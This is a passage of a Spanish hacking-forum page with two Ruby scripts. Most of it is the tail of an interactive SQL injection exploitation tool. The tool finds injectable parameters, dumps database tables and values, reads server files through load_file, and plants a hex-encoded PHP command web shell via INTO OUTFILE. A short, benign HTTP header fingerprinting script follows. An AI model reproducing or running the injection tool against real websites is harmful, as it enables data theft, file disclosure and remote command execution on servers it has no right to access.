  269.   if code2=~/K0BRA/
  270.     print "[+] Mysql User : ON\n"
  271.     savefile(url,"[+] Mysqluser : ON")
  272.   end
  273.   if code3=~/K0BRA/
  274.     print "[+] information_schema : ON\n"
  275.     savefile(url,"[+] information_schema : ON")
  276.   end
  277.   if code4=~/ERTOR854/
  278.     print "[+] load_file : ON\n"
  279.     savefile(url,"[+] load_file : ON")
  280.   end  
  281.   savefile(url,"") #espacio en blanco
  282. end
  283.  
  284. def dumper(url,by,table,col1,col2)
  285.  pass1,pass2 = bypass(by)
  286.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  287.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,"+col2+",0x4b30425241)))")
  288.  print "\n[+] Getting Values ...\n\n"
  289.  code1 = toma(web1+pass1+"from"+pass1+table+pass2)
  290.  if code1=~/K0BRA(.*?)K0BRA/
  291.    total = $1
  292.    savefile(url,"\n[+] Table : "+table)
  293.    savefile(url,"[+] Column 1 : "+col1)
  294.    savefile(url,"[+] Column 2 : "+col2)
  295.    print "[+] Values Found : ",total,"\n"
  296.    savefile(url,"\n[+] Values Found : #{total}\n")
  297.    for num in ("0"..total)
  298.      code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+num+",1"+pass2)
  299.      if code2=~/K0BRA(.*)K0BRA(.*)K0BRA/
  300.        uno,dos = $1,$2
  301.        print "\n[+] "+col1+" : "+uno+"\n"
  302.        print "[+] "+col2+" : "+dos+"\n"
  303.        savefile(url,"\n[+] "+col1+" : "+uno)
  304.        savefile(url,"[+] "+col2+" : "+dos)
  305.      end
  306.    end
  307.  else
  308.    print "[-] Not Found\n"
  309.  end
  310. end
  311.  
  312. def fuzzfile(url,by)
  313.  pass1,pass2 = bypass(by)
  314.  print "\n[+] Fuzzing Files with load_file ....\n"
  315.  $files.each do |file|
  316.    res = file
  317.    file = file.chomp
  318.    file = encode_hex(file)
  319.    web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
  320.    code = toma(web1)
  321.    if code=~/ERTOR854(.*?)ERTOR854/m
  322.      print "\n\n[File Found] : ",res
  323.      print "\n\n[Source Start]\n"
  324.      print $1
  325.      print "\n[Source End]"
  326.      savefile(url,"\n[File Found] : "+res)
  327.      savefile(url,"\n[Source Start]\n")
  328.      savefile(url,$1)
  329.      savefile(url,"\n[Source End]")
  330.    end    
  331.  end
  332.  print "\n"
  333. end
  334.  
  335. def abrirfile(url,by,file)
  336.  pass1,pass2 = bypass(by)
  337.  print "\n[+] Opening file ....\n"
  338.  res = file
  339.  file = encode_hex(file)
  340.    web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
  341.    code = toma(web1)
  342.    if code=~/ERTOR854(.*?)ERTOR854/m
  343.      print "\n\n[File Found] : ",res
  344.      print "\n\n[Source Start]\n"
  345.      print $1
  346.      print "\n[Source End]\n"
  347.      savefile(url,"\n[File Found] : "+res)
  348.      savefile(url,"\n[Source Start]\n")
  349.      savefile(url,$1)
  350.      savefile(url,"\n[Source End]\n")
  351.    else
  352.      print "\n\n[-] Error\n\n"
  353.    end
  354.  
  355. end
  356.  
  357. def into(url,by,full,dir)
  358.  pass1,pass2 = bypass(by)
  359.  linea= "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
  360.  lugar = full+"/cmd.php"
  361.  lugardos = dir+"/cmd.php"
  362.  h = URI.parse(url)
  363.  webtest = "http://"+h.host+lugardos
  364.  web1 = url.sub(/hackman/,linea)
  365.  formandoweb = web1+pass1+"into"+pass1+"outfile"+pass1+"'"+lugar+"'"+pass2
  366.  toma(formandoweb)
  367.  code = toma(webtest)
  368.  if code=~/Mini Shell By Doddy/
  369.    print "\n[Shell Up] : "+webtest+"\n"
  370.    savefile(url,"\n[Shell Up] : "+webtest+"\n")
  371.  else
  372.    print "\n\n[-] Error\n"
  373.  end
  374. end
  375.  
  376. def central(url,by)
  377.  clean()
  378.  head()
  379.  print "\n\n[+] Page : #{url}\n"
  380.  print "[+] ByPass : #{by}\n\n"
  381.  
  382.  print "\n[information_schema]\n\n"
  383.  print "1 - Show tables\n"
  384.  print "2 - Show columns of the a table\n"
  385.  print "3 - Show databases\n"
  386.  print "4 - Show tables from the a DB\n"
  387.  print "5 - Show columns from the a table of the DB\n"
  388.  print "\n[mysql.user]\n\n"
  389.  print "6 - Show users\n"
  390.  print "\n[Others]\n\n"
  391.  print "7 - Show details\n"
  392.  print "8 - Dump data\n"
  393.  print "9 - Fuzz Files with load_file\n"
  394.  print "10 - Load files with load_file\n"
  395.  print "11 - Create Shell\n"
  396.  print "12 - Show log\n"
  397.  print "13 - Change target\n"
  398.  print "14 - Exit\n\n\n"
  399.  
  400.  print "[+] Option : "
  401.  op = gets.chomp
  402.  print "\n"
  403.  
  404.  if op == "1"
  405.    gettables(url,by)
  406.    retorno(url,by)
  407.  elsif op == "2"
  408.    print "\n[+] Table : "
  409.    table = gets.chomp
  410.    getcolumns(url,by,table)
  411.    retorno(url,by)
  412.  elsif op == "3"
  413.    getdbs(url,by)
  414.    retorno(url,by)
  415.  elsif op == "4"
  416.    print "\n[+] DB : "
  417.    db = gets.chomp
  418.    gettablesbydb(url,by,db)
  419.    retorno(url,by)
  420.  elsif op == "5"
  421.    print "\n[+] DB : "
  422.    db = gets.chomp
  423.    print "\n[+] Table : "
  424.    tab = gets.chomp
  425.    getcolumnsbydb(url,by,db,tab)
  426.    retorno(url,by)
  427.  elsif op == "6"
  428.    mysqluser(url,by)
  429.    retorno(url,by)
  430.  elsif op == "7"
  431.    details(url,by)
  432.    retorno(url,by)
  433.  elsif op == "8"
  434.    print "\n[+] Table : "
  435.    table = gets.chomp
  436.    print "\n[+] Column 1 : "
  437.    col1 = gets.chomp
  438.    print "\n[+] Column 2 : "
  439.    col2 = gets.chomp
  440.    dumper(url,by,table,col1,col2)
  441.    retorno(url,by)
  442.  elsif op == "9"
  443.    fuzzfile(url,by)
  444.    retorno(url,by)
  445.  elsif op == "10"
  446.    print "\n[+] File : "
  447.    file = gets.chomp
  448.    abrirfile(url,by,file)
  449.    retorno(url,by)
  450.  elsif op == "11"
  451.    print "\n[Full Source Discloure] : "
  452.    full = gets.chomp
  453.    print "\n[Directory to test] : "
  454.    dir = gets.chomp
  455.    into(url,by,full,dir)
  456.    retorno(url,by)
  457.  elsif op == "12"
  458.    urla = URI.parse(url)
  459.    ar = "logs_webs/"+urla.host+".txt"
  460.    system("start #{ar}")
  461.    retorno(url,by)
  462.  elsif op == "13"
  463.    inicio()
  464.  elsif op == "14"
  465.    copyright()
  466.  else
  467.    retorno(url,by)
  468.  end
  469. end
  470.  
  471. def findlength(url,by)
  472.  pass1,pass2 = bypass(by)
  473.  z = "1"
  474.  print "\n[+] Finding columns lenght ...\n\n"
  475.  x = "concat(0x4b30425241,1,0x4b30425241)"
  476.  for num in ('2'..'25')
  477.    z = z+","+num
  478.    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
  479.    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
  480.    if code=~/K0BRA(.*?)K0BRA/
  481.      print "[+] The Page has "+num+" columns\n"
  482.      print "[+] The number "+$1+" print data"
  483.      z = z.sub($1,"hackman")
  484.      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
  485.      savefile(url,"[+] SQLI : "+sqli)
  486.      savefile(url,"[+] Bypass : "+by+"\n")
  487.      central(sqli,by)
  488.    end
  489.  end
  490.  print "[-] Columns lenght not found\n"
  491.  volverinicio()
  492. end
  493.  
  494. def testvul(page,by)
  495.  pass1,pass2 = bypass(by)
  496.  print "\n\n[+] Testing vulnerability ...\n\n"
  497.  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  498.  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  499.  if codeuno != codedos
  500.    print "[+] Vulnerable !\n"
  501.    findlength(page,by)
  502.  else
  503.    print "[-] Not vulnerable\n"
  504.    print "\n[+] Scan anyway y/n : "
  505.    op = gets.chomp
  506.    if op == "y"
  507.      findlength(page,by)
  508.    else
  509.      volverinicio()
  510.  end
  511. end  
  512. end
  513.  
  514. def inicio()
  515.  clean()
  516.  head()
  517.  print "\n\n[+] Page : "
  518.  page = gets.chomp
  519.  print "\n[+] Bypass : "
  520.  by = gets.chomp
  521.  if page=~/hackman/
  522.    central(page,by)
  523.  else
  524.    testvul(page,by)
  525.  end
  526. end
  527.  
  528. installer()
  529. inicio()
  530.  
  531. # The End ?
  532.  

Eso es todo.
50  Programación / Scripting / [Ruby] HTTP FingerPrinting 0.2 en: 12 Julio 2015, 17:27 pm
Un simple script en Ruby para hacer HTTP FingerPrinting.

Version consola :

Código
  1. #!usr/bin/ruby
  2. #HTTP FingerPrinting 0.2
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "net/http"
  6.  
  7. # Functions
  8.  
  9. def httpfinger(page)
  10. respuesta = ""
  11. begin
  12. nave = Net::HTTP.start(page)
  13. headers = nave.head("/")
  14. headers.each do |name,value|
  15. respuesta = respuesta + "[+] "+name+" : "+value+"\n"
  16. end
  17. nave.finish
  18. rescue
  19. respuesta = "Error"
  20. end
  21. return respuesta
  22. end
  23.  
  24. def uso
  25. print "\n[+] Sintax : ruby httpfinger.rb <target>\n"
  26. end
  27.  
  28. def  head
  29. print "\n-- == HTTP FingerPrinting 0.2 == --\n\n"
  30. end
  31.  
  32. def copyright
  33. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  34. end
  35.  
  36. #
  37.  
  38. target = ARGV[0]
  39.  
  40. head()
  41.  
  42. if !target
  43. uso()
  44. else
  45. print "\n[+] Searching ...\n\n"
  46. print httpfinger(target)
  47. print "\n[+] Finished\n"
  48. end
  49.  
  50. copyright()
  51.  
  52. #The End ?
  53.  

Version Tk :

Código
  1. #!usr/bin/ruby
  2. #HTTP FingerPrinting 0.2
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "tk"
  6. require "net/http"
  7.  
  8. # Functions
  9.  
  10. def httpfinger(page)
  11. respuesta = ""
  12. begin
  13. nave = Net::HTTP.start(page)
  14. headers = nave.head("/")
  15. headers.each do |name,value|
  16. respuesta = respuesta + "[+] "+name+" : "+value+"\n"
  17. end
  18. nave.finish
  19. rescue
  20. respuesta = "Error"
  21. end
  22. return respuesta
  23. end
  24.  
  25. #
  26.  
  27. window = TkRoot.new { title "HTTP FingerPrinting 0.2 Coded By Doddy H" ; background "black" }
  28. window['geometry'] = '300x300-20+10'
  29.  
  30. TkLabel.new(window) do
  31. background "black"
  32. foreground "cyan"
  33. text "    Target : "
  34. place('relx'=>"0.1",'rely'=>"0.1")
  35. end
  36.  
  37. target = TkEntry.new(window){
  38. background "black"
  39. foreground "cyan"
  40. width 25
  41. place('relx'=>0.3,'rely'=>0.1)
  42. }
  43.  
  44. TkLabel.new(window) do
  45. background "black"
  46. foreground "cyan"
  47. text "Console"
  48. place('relx'=>0.4,'rely'=>0.2)
  49. end
  50.  
  51. console =TkText.new(window) do
  52. background "black"
  53. foreground "cyan"
  54. width 30
  55. height 10
  56. place('relx'=>0.1,'rely'=>0.3)
  57. end
  58.  
  59. TkButton.new(window) do
  60. text "Search"
  61.        background "black"
  62. foreground "cyan"
  63. width 17
  64. activebackground "cyan"
  65. highlightbackground  "cyan"
  66. command proc{
  67. target = target.value.to_s
  68. console.insert("end","[+] Searching ...\n\n")
  69. console.insert("end",httpfinger(target))
  70. console.insert("end","\n[+] Finished")
  71. }
  72. place('relx'=>0.3,'rely'=>0.9)
  73. end
  74.  
  75. Tk.mainloop
  76.  
  77. #The End ?
  78.  

Una imagen :



Eso es todo.
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines